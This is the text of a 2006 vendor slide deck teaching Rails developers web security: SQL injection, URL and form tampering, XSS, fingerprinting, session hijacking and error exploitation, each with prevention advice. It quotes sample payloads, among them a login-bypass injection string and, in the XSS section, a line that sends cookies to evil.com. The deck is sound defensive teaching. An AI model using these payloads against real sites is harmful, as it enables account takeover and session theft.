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SQL Injection
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SQL Injection in Action

CUSTOMER LOGIN

                           

                           

Username

Password

LOGIN

Welcome back!  Please login using the form below.
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SQL Injection in Action

CUSTOMER LOGIN

admin                          

foo                       

Username

Password

LOGIN

Welcome back!  Please login using the form below.
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SQL Injection in Action

CUSTOMER LOGIN

admin                          

foo                       

Username

Password

LOGIN

Invalid username and password combination.
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SQL Injection in Action

CUSTOMER LOGIN

                           

                           

Username

Password

LOGIN

Welcome back!  Please login using the form below.
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SQL Injection in Action

CUSTOMER LOGIN

admin                          

foo'                       

Username

Password

LOGIN

Welcome back!  Please login using the form below.
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SQL Injection in Action

CUSTOMER LOGIN

admin                          

foo'                       

Username

Password

LOGIN

Unexpected error.  Please contact customer service.
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SQL Injection in Action

CUSTOMER LOGIN

                           

                           

Username

Password

LOGIN

Welcome back!  Please login using the form below.
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SQL Injection in Action

CUSTOMER LOGIN

admin

foo' or username='admin

Username

Password

LOGIN

Welcome back!  Please login using the form below.
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SQL Injection in Action

LOGIN SUCCESSFUL

LOGOUT

Welcome back, Admin!  Where would you like to go?

Server Configuration

User Management

Backup and Recovery
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Inside the Attack

 Does this code look familiar?
User.find_by_sql("select * from users where \

  username='#{username}' and password='#{password}'")

 Normally, it executes something like this...
select * from users where 

username='admin' and password='foo'

 But imagine we feed it this...
select * from users where 

username='admin' 

and password='foo' or username='admin'
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What's Vulnerable?

 Login screens
 Search boxes
 Other forms
 Trusted URL parameters
 Any SQL queries that include user-modifiable 

criteria
 Hidden variables are user-modifiable
 Cookies are user-modifiable
 Drop-down selections are user-modifiable

 Any other time user input is part of a command:
 LDAP queries
 System calls (e.g. to ImageMagick, ffmpeg)
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What Can Happen?

 Escalation of privileges
 Compromise of private data (cross-application)
 Execution of restricted application functionality
 Use of database to compromise host system

 e.g. loading /etc/password
 e.g. executing commands

For database-specific

exploits, check out:

HackNotes: Web Security 

Portable Reference
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Preventing SQL Injection

DON'T...

 Build queries using 
string concatenation

 Store user input 
without running it 
through a white list

 Trust database 
values that were 
originally user input

DO...

 Build queries using 
variable binding

 Run user input 
through a white list

 Use distinct admin 
database accounts

 Don't run database as 
root
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URL & Form Manipulation
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URL Manipulation in Action

 Andrea browses to her account settings page

 Notices that the URL is: 
http://www.myapp.com/users/profile/18

 For kicks, she adjusts that to be: 
http://www.myapp.com/users/profile/17

 Sees John's settings

 Changes his listed email address to a new hotmail 
account

 Gets the system to mail his password to her



18 Copyright 2006 Chariot Solutions

Inside the Attack

 Because Andrea could edit her own user page, 
role-level security let her edit anyone's

 The system trusted the user id parameter she 
sent to it without verifying object-level 
permissions

 Allowed password change/recovery without re-
authentication
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Form Manipulation in Action

 Joe goes to a checkout screen

 Saves the HTML and edits it to add a field called 
discount

 Enters '30' in that field

 Continues through checkout

 Gets a 30% discount on everything
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Inside the Attack

 The parameter 'discount' happened to match up to 
a field in the orders table

 When Joe checked out, the order details were used 
to create a new order with: 
Order.new(params[:order]) 

 The discount field was written with Joe's value, 
even though he didn't ever enter a discount code
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What's Vulnerable?

 Any URL that is hidden only by obscurity
 Any action that accepts HTTP parameters
 Any action that populates an ActiveRecord object
 Any feature that involves object-level security:

 User can edit his own user settings, but not others'
 User can modify documents that he creates, but only view 

those that others create

 Any feature that involves field-level security
 Admins can edit role assignments, but regular users can't

 Any workflow that involves incremental approvals 
or validation
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What Can Happen?

 Overwriting of fields meant for 
admin/internal use

 Bypass of approvals and validations

 Access to information that should only be 
viewable and/or editable by the owner
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Preventing URL/Form Manipulation

DON'T...

 Trust parameters

 Hide functionality 
with obscure URLs

 Assume non-visible 
fields are secure

 Accidentally expose 
methods as actions

DO...

 Use attr_protected to 
protect model fields that 
shouldn't be written by 
parameter maps

 Enforce object-level and 
field-level security with 
more than visibility

 Use ActiveRecord 
relationships for queries
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Cross Site Scripting (XSS)
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XSS in Action

Search

                           Keywords

SEARCH

Enter one or more keywords and click on SEARCH.
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XSS in Action

Search

 <i>foo</i> <b>bar</b>                    Keywords

SEARCH

Enter one or more keywords and click on SEARCH.
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XSS in Action

Search

 <i>foo</i> <b>bar</b>                    Keywords

SEARCH

Sorry, no results were found for: foo bar
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XSS in Action

Search

                           Keywords

SEARCH

Enter one or more keywords and click on SEARCH.
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XSS in Action

Search

<script>alert('hi');</script>Keywords

SEARCH

Enter one or more keywords and click on SEARCH.
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XSS in Action

Search

<script>alert('hi');</script>Keywords

SEARCH

Sorry, no results were found for:
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Inside XSS

 John discovers a cross-site scripting vulnerability 
while searching for mutual funds at a brokerage 
site

 Notices that the search feature accepts GET 
parameters

 Writes some Javascript that steals cookies
document.location='http://evil.com/' + document.cookie

 Encodes the Javascript so it's not obvious and 
pastes into the search URL

 Gets other people to follow that link:
 Emails it out
 Creates a website that opens it in an iframe
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What's Vulnerable?

 User-contributed content
 Comments, feedback, reviews
 User profiles

 Search results that echo back terms
 Error messages that echo back fields
 Trusted partner content
 File uploads that get served back again

 Anything that typically gets displayed in a browser
 Even some binary files if headers are incorrectly set
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What Can Happen?

 Cookie/session theft

 Escalation of privileges

 Access to other users' data

 Execution of fraudulent transactions

 Time-bomb attacks that aren't immediately 
obvious
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Preventing XSS

DON'T...

 Echo user content 
without escaping it

 Include HTML or 
JavaScript from 
untrusted sources

 Assume that 
removing <script> 
is enough

DO...

 Use h() to escape 
everything you plan 
display unless it has to 
support HTML

 Use sanitize() when you 
need to support some 
HTML

 Use multiple levels of 
login security
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Fingerprinting
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Fingerprinting in Action

 Cause errors to try to get stack traces
 Manipulate URLs to get directory listings
 Look for web server version numbers in HTTP 

headers, directory listings and HTTP error pages
 Look through all of the HTML source for:

 Comments
 Field names
 Commented out fields and links
 Directory structure

 Look for powered-by images and text
 Analyze URL patterns, stylesheets, skins
 Look at press releases, job ads, newsgroup posts
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What's Vulnerable?

 HTML Source and Comments

 URL Patterns

 Error Pages

 Defaults
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What Can Happen?

 Access to sensitive data that has only been 
commented out instead of removed

 Targeted attacks that exploit vulnerabilities 
in specific software versions

 Information gathering for:
 SQL Injection
 URL Manipulation
 Session hijacking
 Social engineering
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Preventing Fingerprinting

DON'T...

 Don't run dev mode 
in production 
(w/verbose error 
messages)

 Give away too much 
about your 
environment

 Get too paranoid and 
focus on hiding your 
fortress instead of 
hardening it

DO...

 Configure error pages

 Turn off directory listing

 Test what happens for:
 Bugs
 Bad database 

connection
 Missing pages

 Run in production mode
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Session Hijacking
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Session Hijacking in Action

 Bob gets bored at this presentation
 Fires up a laptop
 Connects to hotel wireless access point
 Logs in to his webmail

 Toby cracks open Kismet and 
 Grabs Bob's cookie with his session id
 Adds it to his own cookie store
 Browses Bob's mail

 Of course, Toby could also have:
 Predicted the next session ID
 Guessed until he managed to find one that worked
 Stolen the cookie through a successful XSS attack
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What Can Happen?

 Just about anything, including...

 Compromise of confidential information

 Execution of fraudulent transactions

 Information gathering for social engineering

 Compromise of password through reminder 
services

 Updates to account settings (email, 
passwords, etc.) to ensure continued access
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Preventing Session Hijacking

DON'T...

 Write a new 
authentication and 
session management 
system for every app

 Generate predictable 
session IDs

 Leave yourself open 
to XSS attacks

DO...

 Use HTTPS

 Have layered security (re-
authenticate for password 
changes, etc.)

 Consider matching session 
IDs to IP addresses

 Consider using rolling 
session keys to prevent 
cookie replay
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Error Exploitation
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Error Exploitation in Action

 Erin visits a travel site and 
finds a great Alaskan cruise

 Starts to book the last 
remaining deluxe cabin, but 
credit card is declined

 Tries again with new credit 
card, but the cabin is gone

 Tries booking economy 
cabins with bogus credit 
card number and watches 
inventory go down every 
time
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Inside Error Exploitation

 Cabin was booked before credit card was 
checked

 Never unbooked (and didn't use transaction)

 Erin exploited this to manipulate the data 
and convince the system that all cabins were 
booked
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What's Vulnerable?

 Broken/misconfigured transactions
 May not be well demarcated
 May not update cache upon rollback

 Reliance on out-of-date caches at critical points
 Very slow processes
 Very resource-intensive processes
 Buggy systems
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What Can Happen?

 Denial of Service

 Financial Loss



49 Copyright 2006 Chariot Solutions

Preventing Error Exploitation

DON'T...

 Rely on caches at 
critical junctures 
(e.g. pricing or 
inventory during 
checkout)

 Assume that a slow, 
unpopular page is 
harmless

DO...

 Use transactions properly

 Flush caches for both 
commits and rollbacks

 Enforce minimum 
performance SLAs

 Watch logs for unusal 
activity

 Use anomaly detection
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Principles of Secure Design
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Architect's Checklist

 Modularity: Build and reuse secure components
 Integration: Manage the directional flow of data
 Identity Management: Consolidate authentication, 

authorization and provisioning systems
 Performance: Poor performance is a vulnerability
 Logging: Audit everything until you can't
 Privacy: Fear the financial implications of data loss
 Patch Management: Plan for how to deploy and 

upgrade securely
 Separation of Domains: Make it hard for one 

person working alone to compromise the system
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Always remember

 Don’t trust or display user input until 
you’ve cleaned and validated it

 Don’t use HTML comments to describe 
dynamic code

 Keep control over your error messages

 Don’t advertise details about your network, 
servers, databases or code

 Implement object-level security

 Audit everything (and analyze the logs)
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Resources

 CERT
www.cert.org

 Security Focus / BugTraq
www.securityfocus.com

 Web Application Security Consortium (WASC)
www.webappsec.org

 Open Web Application Security Project 
(OWASP)
www.owasp.org

 Security Consensus Operational Readiness 
Evaluation (SCORE)
www.sans.org/score

http://www.cert.org/
http://www.securityfocus.com/
http://www.webappsec.org/
http://www.owasp.org/
http://www.sans.org/score
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Questions?

Slides are available at:

www.chariotsolutions.com

http://www.chariotsolutions.com/
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Chariot Training

 Ready for more than a one-hour presentation?
 Chariot Solutions offers in-depth team training on 

web application security and many other topics
 Content can be tailored to fit your needs

 Master level for experienced teams, allowing shorter training 
time or greater depth

 Introductory level for teams who are less experienced with 
secure programming techniques

 In-depth coverage of areas specific to your environment
 your implementation platform (e.g. Java, Ruby, LAMP)
 your organizational and app-specific threat models

 Includes hands-on web security exercises
 Follow-on mentoring, review, implementation and 

support services are available

For more information, contact:
Tracey Welson-Rossman
(215) 358-1780 x456
twr@chariotsolutions.com

mailto:twr@chariotsolutions.com
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We hope you enjoyed 
these slides!

Hungry for more?

Download other great presentations at:
www.chariotsolutions.com

http://www.chariotsolutions.com/

